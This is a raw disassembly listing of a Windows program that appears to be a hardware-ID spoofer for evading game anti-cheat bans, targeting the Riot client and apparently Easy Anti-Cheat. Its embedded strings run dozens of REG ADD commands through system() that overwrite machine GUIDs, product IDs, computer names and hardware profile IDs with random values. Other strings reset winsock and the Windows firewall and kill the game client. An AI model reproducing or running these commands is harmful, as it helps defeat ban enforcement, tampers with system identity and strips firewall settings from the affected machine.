call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography___v_MachineGuid__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersion___v_BuildGUID__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlClass4d36e967_e325_11ce_bfc1_08002be10318ConfigurationVariablesBusDeviceDesc___v_PropertyGuid__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlClass4d36e968_e325_11ce_bfc1_08002be10318ConfigurationVariablesDeviceDesc___v_PropertyGuid__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlClass4d36e968_e325_11ce_bfc1_08002be10318ConfigurationVariablesDriver___v_PropertyGuid__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1W
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSystemInformation___v_ComputerHardwareId__t_REG_SZ__d__Hex8___Hex1___Hex0___Hex1___Hex10___f__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKLMSoftwareMicrosoftWindows_NTCurrentVersion___v_InstallDate__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKLMSoftwareMicrosoftWindows_NTCurrentVersion___v_ProductId__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__Hex1___Hex8___Hex1___Hex0___Hex10___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_BuildGUID__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_InstallDate__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_ProductId__t_REG_SZ__d__random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d_FS_random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d_FS_random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001__v_GUID__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001__v_HwProfileGuid__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d_eac_random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d_fefefee_random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSoftwareMicrosoftWindows_NTCurrentVersion__v_InstallDate__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSoftwareMicrosoftWindows_NTCurrentVersion__v_ProductId__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSystemCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSystemCurrentControlSetControlWMISecurity__v_671a8285_4edb_4cae_99fe_69a15c48c0bc__t_REG_SZ__d__random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersion_WindowsUpdate__v_SusClientId__t_REG_SZ__d__random___random___random___random___random___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_Reset_Firewall_Settings
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset__echo_off
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill___f___im_ClientRiot.exe___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140133550]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_____Clearing_MainDisk___
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.timeout___t_2___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140133550]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x478]
cmp rdx, 0xf
jbe 0x140045a68
mov rcx, qword [rbp + 0x460]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045a63
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045cc0
call fcn.140117ba0
cmp rsi, 0xf
jbe 0x140045a9f
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140045a97
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045cc0
mov rcx, rbx
call fcn.140117ba0
add rdi, 0x40
cmp rdi, r14
jne 0x1400449f0
call fcn.14000ab40
call fcn.14000b3c0
mov r15d, 1
mov ecx, r15d
call fcn.1400168d0
lea rcx, [rbp + 0x1a8]
mov qword [rbp + 0x1a8], 0
call fcn.14001ab20
movsd xmm0, qword [0x1402b4370]
lea rdx, [rsp + 0x70]
xor r8d, r8d
movsd qword [rsp + 0x70], xmm0
lea rcx, str.Move_detector
call fcn.140036880
call fcn.14000f730
test al, al
je 0x140045b95
mov rcx, qword [0x1402b4f58]
lea rdx, [0x1402b4f60]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x1402b4374]
xor edx, edx
lea rcx, [rbp + 0x3b0]
cvttss2si esi, dword [0x1402b4370]
movaps xmm2, xmm15
call fcn.14000dcb0
movd xmm0, dword [0x1402b4f64]
lea rcx, [rbp + 0x270]
cvtdq2ps xmm0, xmm0
xor edx, edx
movaps xmm2, xmm15
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.14000dcb0
mov r9d, esi
mov rcx, qword [0x1402b4f58]
mov r8d, ebx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x1402b4f60]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.14000a630
call fcn.140016fb0
mov rcx, qword [0x1402b5280]
lea r8, [0x1402b5298]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x288], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1402b5280]
lea r8, [rbp + 0x288]
mov rdx, qword [0x1402b5298]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.14000d2a0
mov rcx, rax
call fcn.14003c470
mov rcx, qword [0x1402b5288]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
xor r14d, r14d
jmp 0x140042971
call fcn.14003d130
call fcn.14003d760
xor ecx, ecx
call fcn.14000a5d0
call fcn.140040980
mov rcx, qword [0x1402b4f58]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm14, xmmword [rsp + 0x6b0]
xor eax, eax
movaps xmm12, xmmword [rsp + 0x6d0]
movaps xmm11, xmmword [rsp + 0x6e0]
movaps xmm10, xmmword [rsp + 0x6f0]
mov r12, qword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x710]
movaps xmm7, xmmword [rsp + 0x720]
movaps xmm15, xmmword [rsp + 0x6a0]
mov r13, qword [rsp + 0x778]
movaps xmm6, xmmword [rsp + 0x730]
movaps xmm9, xmmword [rsp + 0x700]
lea r11, [rsp + 0x740]
mov rbx, qword [r11 + 0x40]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140040980
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
jmp 0x140045ca4